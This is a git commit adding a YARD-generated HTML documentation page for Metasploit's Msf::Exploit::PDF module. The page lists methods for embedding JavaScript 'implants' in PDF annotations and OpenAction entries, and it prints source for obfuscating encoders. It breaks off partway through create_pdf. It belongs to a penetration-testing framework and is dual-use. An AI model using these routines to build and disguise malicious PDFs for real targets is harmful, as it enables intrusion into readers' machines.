Reboot gh-pages
This commit is contained in:
jenkins-metasploit
@@ -0,0 +1,1813 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>
|
||||
Module: Msf::Exploit::PDF
|
||||
|
||||
— Documentation by YARD 0.9.37
|
||||
|
||||
</title>
|
||||
|
||||
<link rel="stylesheet" href="../../css/style.css" type="text/css" />
|
||||
|
||||
<link rel="stylesheet" href="../../css/common.css" type="text/css" />
|
||||
|
||||
<script type="text/javascript">
|
||||
pathId = "Msf::Exploit::PDF";
|
||||
relpath = '../../';
|
||||
</script>
|
||||
|
||||
|
||||
<script type="text/javascript" charset="utf-8" src="../../js/jquery.js"></script>
|
||||
|
||||
<script type="text/javascript" charset="utf-8" src="../../js/app.js"></script>
|
||||
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<div class="nav_wrap">
|
||||
<iframe id="nav" src="../../class_list.html?1"></iframe>
|
||||
<div id="resizer"></div>
|
||||
</div>
|
||||
|
||||
<div id="main" tabindex="-1">
|
||||
<div id="header">
|
||||
<div id="menu">
|
||||
|
||||
<a href="../../_index.html">Index (P)</a> »
|
||||
<span class='title'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span>
|
||||
»
|
||||
<span class="title">PDF</span>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="search">
|
||||
|
||||
<a class="full_list_link" id="class_list_link"
|
||||
href="../../class_list.html">
|
||||
|
||||
<svg width="24" height="24">
|
||||
<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
|
||||
<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
|
||||
<rect x="0" y="20" width="24" height="4" rx="1" ry="1"></rect>
|
||||
</svg>
|
||||
</a>
|
||||
|
||||
</div>
|
||||
<div class="clear"></div>
|
||||
</div>
|
||||
|
||||
<div id="content"><h1>Module: Msf::Exploit::PDF
|
||||
|
||||
|
||||
|
||||
</h1>
|
||||
<div class="box_info">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<dl>
|
||||
<dt>Defined in:</dt>
|
||||
<dd>lib/msf/core/exploit/pdf.rb</dd>
|
||||
</dl>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<h2>
|
||||
Instance Method Summary
|
||||
<small><a href="#" class="summary_toggle">collapse</a></small>
|
||||
</h2>
|
||||
|
||||
<ul class="summary">
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#add_object-instance_method" title="#add_object (instance method)">#<strong>add_object</strong>(num, data) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#ascii85_encode-instance_method" title="#ascii85_encode (instance method)">#<strong>ascii85_encode</strong>(stream) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#ascii_hex_whitespace_encode-instance_method" title="#ascii_hex_whitespace_encode (instance method)">#<strong>ascii_hex_whitespace_encode</strong>(str) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'>
|
||||
<p>Original Filters.</p>
|
||||
</div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#create_pdf-instance_method" title="#create_pdf (instance method)">#<strong>create_pdf</strong>(js) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'>
|
||||
<p>Controller function, should be entrypoint for pdf exploits.</p>
|
||||
</div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#endobj-instance_method" title="#endobj (instance method)">#<strong>endobj</strong> ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#eol-instance_method" title="#eol (instance method)">#<strong>eol</strong> ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#eol=-instance_method" title="#eol= (instance method)">#<strong>eol=</strong>(new_eol) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#finish_pdf-instance_method" title="#finish_pdf (instance method)">#<strong>finish_pdf</strong> ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#header-instance_method" title="#header (instance method)">#<strong>header</strong>(version = '1.5') ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'>
|
||||
<p>PDF building block functions.</p>
|
||||
</div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#initialize-instance_method" title="#initialize (instance method)">#<strong>initialize</strong>(info = {}) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#io_def-instance_method" title="#io_def (instance method)">#<strong>io_def</strong>(id) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#io_ref-instance_method" title="#io_ref (instance method)">#<strong>io_ref</strong>(id) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#nobfu-instance_method" title="#nobfu (instance method)">#<strong>nobfu</strong>(str) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'>
|
||||
<p><a href="http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways">blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways</a>/.</p>
|
||||
</div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#pdf_with_annot_js-instance_method" title="#pdf_with_annot_js (instance method)">#<strong>pdf_with_annot_js</strong>(js, strFilter) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'>
|
||||
<p>Create PDF with a malicious annotation.</p>
|
||||
</div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#pdf_with_openaction_js-instance_method" title="#pdf_with_openaction_js (instance method)">#<strong>pdf_with_openaction_js</strong>(js, strFilter) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'>
|
||||
<p>Create PDF with OpenAction implant Note: doesn’t carry over if you try to merge the exploit PDF with an innocuous one.</p>
|
||||
</div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#pdf_with_page_exploit-instance_method" title="#pdf_with_page_exploit (instance method)">#<strong>pdf_with_page_exploit</strong>(js, strFilter) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'>
|
||||
<p>Create PDF with Page implant.</p>
|
||||
</div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#random_non_ascii_string-instance_method" title="#random_non_ascii_string (instance method)">#<strong>random_non_ascii_string</strong>(count) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#run_length_encode-instance_method" title="#run_length_encode (instance method)">#<strong>run_length_encode</strong>(stream) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'>
|
||||
<p>Filters from Origami parser.</p>
|
||||
</div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#select_encoder-instance_method" title="#select_encoder (instance method)">#<strong>select_encoder</strong>(js, strEncode, strFilter) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'>
|
||||
<p>Select an encoder and build a filter specification.</p>
|
||||
</div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#startxref-instance_method" title="#startxref (instance method)">#<strong>startxref</strong> ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#trailer-instance_method" title="#trailer (instance method)">#<strong>trailer</strong>(root_obj) ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
<li class="public ">
|
||||
<span class="summary_signature">
|
||||
|
||||
<a href="#xref_table-instance_method" title="#xref_table (instance method)">#<strong>xref_table</strong> ⇒ Object </a>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<span class="summary_desc"><div class='inline'></div></span>
|
||||
|
||||
</li>
|
||||
|
||||
|
||||
</ul>
|
||||
|
||||
|
||||
|
||||
|
||||
<div id="instance_method_details" class="method_details_list">
|
||||
<h2>Instance Method Details</h2>
|
||||
|
||||
|
||||
<div class="method_details first">
|
||||
<h3 class="signature first" id="add_object-instance_method">
|
||||
|
||||
#<strong>add_object</strong>(num, data) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
156
|
||||
157
|
||||
158
|
||||
159
|
||||
160
|
||||
161</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 156</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='id identifier rubyid_num'>num</span><span class='comma'>,</span> <span class='id identifier rubyid_data'>data</span><span class='rparen'>)</span>
|
||||
<span class='ivar'>@xref</span><span class='lbracket'>[</span><span class='id identifier rubyid_num'>num</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='ivar'>@pdf</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_io_def'>io_def</span><span class='lparen'>(</span><span class='id identifier rubyid_num'>num</span><span class='rparen'>)</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_data'>data</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_endobj'>endobj</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="ascii85_encode-instance_method">
|
||||
|
||||
#<strong>ascii85_encode</strong>(stream) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
96
|
||||
97
|
||||
98
|
||||
99
|
||||
100
|
||||
101
|
||||
102
|
||||
103
|
||||
104
|
||||
105
|
||||
106
|
||||
107
|
||||
108
|
||||
109
|
||||
110
|
||||
111
|
||||
112
|
||||
113
|
||||
114
|
||||
115
|
||||
116
|
||||
117
|
||||
118
|
||||
119
|
||||
120
|
||||
121
|
||||
122
|
||||
123
|
||||
124
|
||||
125
|
||||
126
|
||||
127
|
||||
128
|
||||
129
|
||||
130</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 96</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_ascii85_encode'>ascii85_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_eod'>eod</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>~></span><span class='tstring_end'>"</span></span>
|
||||
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='int'>0</span>
|
||||
<span class='id identifier rubyid_code'>code</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
||||
<span class='id identifier rubyid_input'>input</span> <span class='op'>=</span> <span class='id identifier rubyid_stream'>stream</span><span class='period'>.</span><span class='id identifier rubyid_dup'>dup</span>
|
||||
|
||||
<span class='kw'>while</span> <span class='id identifier rubyid_i'>i</span> <span class='op'><</span> <span class='id identifier rubyid_input'>input</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span> <span class='kw'>do</span>
|
||||
|
||||
<span class='kw'>if</span> <span class='id identifier rubyid_input'>input</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>-</span> <span class='id identifier rubyid_i'>i</span> <span class='op'><</span> <span class='int'>4</span>
|
||||
<span class='id identifier rubyid_addend'>addend</span> <span class='op'>=</span> <span class='int'>4</span> <span class='op'>-</span> <span class='lparen'>(</span><span class='id identifier rubyid_input'>input</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>-</span> <span class='id identifier rubyid_i'>i</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_input'>input</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\0</span><span class='tstring_end'>"</span></span> <span class='op'>*</span> <span class='id identifier rubyid_addend'>addend</span>
|
||||
<span class='kw'>else</span>
|
||||
<span class='id identifier rubyid_addend'>addend</span> <span class='op'>=</span> <span class='int'>0</span>
|
||||
<span class='kw'>end</span>
|
||||
|
||||
<span class='id identifier rubyid_inblock'>inblock</span> <span class='op'>=</span> <span class='lparen'>(</span><span class='id identifier rubyid_input'>input</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span> <span class='op'>*</span> <span class='int'>256</span><span class='op'>**</span><span class='int'>3</span> <span class='op'>+</span> <span class='id identifier rubyid_input'>input</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>1</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span> <span class='op'>*</span> <span class='int'>256</span><span class='op'>**</span><span class='int'>2</span> <span class='op'>+</span> <span class='id identifier rubyid_input'>input</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>2</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span> <span class='op'>*</span> <span class='int'>256</span> <span class='op'>+</span> <span class='id identifier rubyid_input'>input</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>3</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_outblock'>outblock</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
||||
|
||||
<span class='int'>5</span><span class='period'>.</span><span class='id identifier rubyid_times'>times</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_p'>p</span><span class='op'>|</span>
|
||||
<span class='id identifier rubyid_c'>c</span> <span class='op'>=</span> <span class='id identifier rubyid_inblock'>inblock</span> <span class='op'>/</span> <span class='int'>85</span> <span class='op'>**</span> <span class='lparen'>(</span><span class='int'>4</span> <span class='op'>-</span> <span class='id identifier rubyid_p'>p</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_outblock'>outblock</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>!</span><span class='tstring_end'>"</span></span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span> <span class='op'>+</span> <span class='id identifier rubyid_c'>c</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span>
|
||||
<span class='id identifier rubyid_inblock'>inblock</span> <span class='op'>-=</span> <span class='id identifier rubyid_c'>c</span> <span class='op'>*</span> <span class='int'>85</span> <span class='op'>**</span> <span class='lparen'>(</span><span class='int'>4</span> <span class='op'>-</span> <span class='id identifier rubyid_p'>p</span><span class='rparen'>)</span>
|
||||
<span class='kw'>end</span>
|
||||
|
||||
<span class='id identifier rubyid_outblock'>outblock</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>z</span><span class='tstring_end'>"</span></span> <span class='kw'>if</span> <span class='id identifier rubyid_outblock'>outblock</span> <span class='op'>==</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>!!!!!</span><span class='tstring_end'>"</span></span> <span class='kw'>and</span> <span class='id identifier rubyid_addend'>addend</span> <span class='op'>==</span> <span class='int'>0</span>
|
||||
|
||||
<span class='kw'>if</span> <span class='id identifier rubyid_addend'>addend</span> <span class='op'>!=</span> <span class='int'>0</span>
|
||||
<span class='id identifier rubyid_outblock'>outblock</span> <span class='op'>=</span> <span class='id identifier rubyid_outblock'>outblock</span><span class='lbracket'>[</span><span class='int'>0</span><span class='comma'>,</span><span class='lparen'>(</span><span class='int'>4</span> <span class='op'>-</span> <span class='id identifier rubyid_addend'>addend</span><span class='rparen'>)</span> <span class='op'>+</span> <span class='int'>1</span><span class='rbracket'>]</span>
|
||||
<span class='kw'>end</span>
|
||||
|
||||
<span class='id identifier rubyid_code'>code</span> <span class='op'><<</span> <span class='id identifier rubyid_outblock'>outblock</span>
|
||||
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>+</span> <span class='int'>4</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='id identifier rubyid_code'>code</span> <span class='op'><<</span> <span class='id identifier rubyid_eod'>eod</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="ascii_hex_whitespace_encode-instance_method">
|
||||
|
||||
#<strong>ascii_hex_whitespace_encode</strong>(str) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><div class="docstring">
|
||||
<div class="discussion">
|
||||
|
||||
<p>Original Filters</p>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="tags">
|
||||
|
||||
|
||||
</div><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
33
|
||||
34
|
||||
35
|
||||
36
|
||||
37
|
||||
38
|
||||
39
|
||||
40
|
||||
41
|
||||
42</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 33</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_ascii_hex_whitespace_encode'>ascii_hex_whitespace_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_str'>str</span><span class='rparen'>)</span>
|
||||
<span class='kw'>return</span> <span class='id identifier rubyid_str'>str</span> <span class='kw'>if</span> <span class='kw'>not</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Obfuscate</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
||||
<span class='id identifier rubyid_whitespace'>whitespace</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
||||
<span class='id identifier rubyid_str'>str</span><span class='period'>.</span><span class='id identifier rubyid_each_byte'>each_byte</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_b'>b</span><span class='op'>|</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='id identifier rubyid_whitespace'>whitespace</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%02x</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_b'>b</span>
|
||||
<span class='id identifier rubyid_whitespace'>whitespace</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'> </span><span class='tstring_end'>"</span></span> <span class='op'>*</span> <span class='lparen'>(</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'>+</span> <span class='int'>1</span><span class='rparen'>)</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>></span><span class='tstring_end'>"</span></span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="create_pdf-instance_method">
|
||||
|
||||
#<strong>create_pdf</strong>(js) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><div class="docstring">
|
||||
<div class="discussion">
|
||||
|
||||
<p>Controller function, should be entrypoint for pdf exploits</p>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="tags">
|
||||
|
||||
|
||||
</div><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
223
|
||||
224
|
||||
225
|
||||
226
|
||||
227
|
||||
228
|
||||
229
|
||||
230
|
||||
231
|
||||
232
|
||||
233
|
||||
234
|
||||
235
|
||||
236
|
||||
237
|
||||
238
|
||||
239
|
||||
240
|
||||
241
|
||||
242
|
||||
243
|
||||
244
|
||||
245
|
||||
246
|
||||
247
|
||||
248
|
||||
249</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 223</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_create_pdf'>create_pdf</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
||||
<span class='id identifier rubyid_arrResults'>arrResults</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='rbracket'>]</span>
|
||||
<span class='id identifier rubyid_numIterations'>numIterations</span> <span class='op'>=</span> <span class='int'>0</span>
|
||||
<span class='id identifier rubyid_arrEncodings'>arrEncodings</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCII85</span><span class='tstring_end'>'</span></span><span class='comma'>,</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCIIHEX</span><span class='tstring_end'>'</span></span><span class='comma'>,</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>FLATE</span><span class='tstring_end'>'</span></span><span class='comma'>,</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>RUN</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||||
<span class='id identifier rubyid_arrEncodings'>arrEncodings</span> <span class='op'>=</span> <span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='period'>.</span><span class='id identifier rubyid_shuffle'>shuffle</span>
|
||||
<span class='kw'>if</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::MultiFilter</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'><</span> <span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
||||
<span class='id identifier rubyid_numIterations'>numIterations</span> <span class='op'>=</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::MultiFilter</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||||
<span class='kw'>else</span>
|
||||
<span class='id identifier rubyid_numIterations'>numIterations</span> <span class='op'>=</span> <span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='kw'>for</span> <span class='id identifier rubyid_i'>i</span> <span class='kw'>in</span> <span class='lparen'>(</span><span class='int'>0</span><span class='op'>..</span><span class='id identifier rubyid_numIterations'>numIterations</span><span class='op'>-</span><span class='int'>1</span><span class='rparen'>)</span>
|
||||
<span class='kw'>if</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>==</span> <span class='int'>0</span>
|
||||
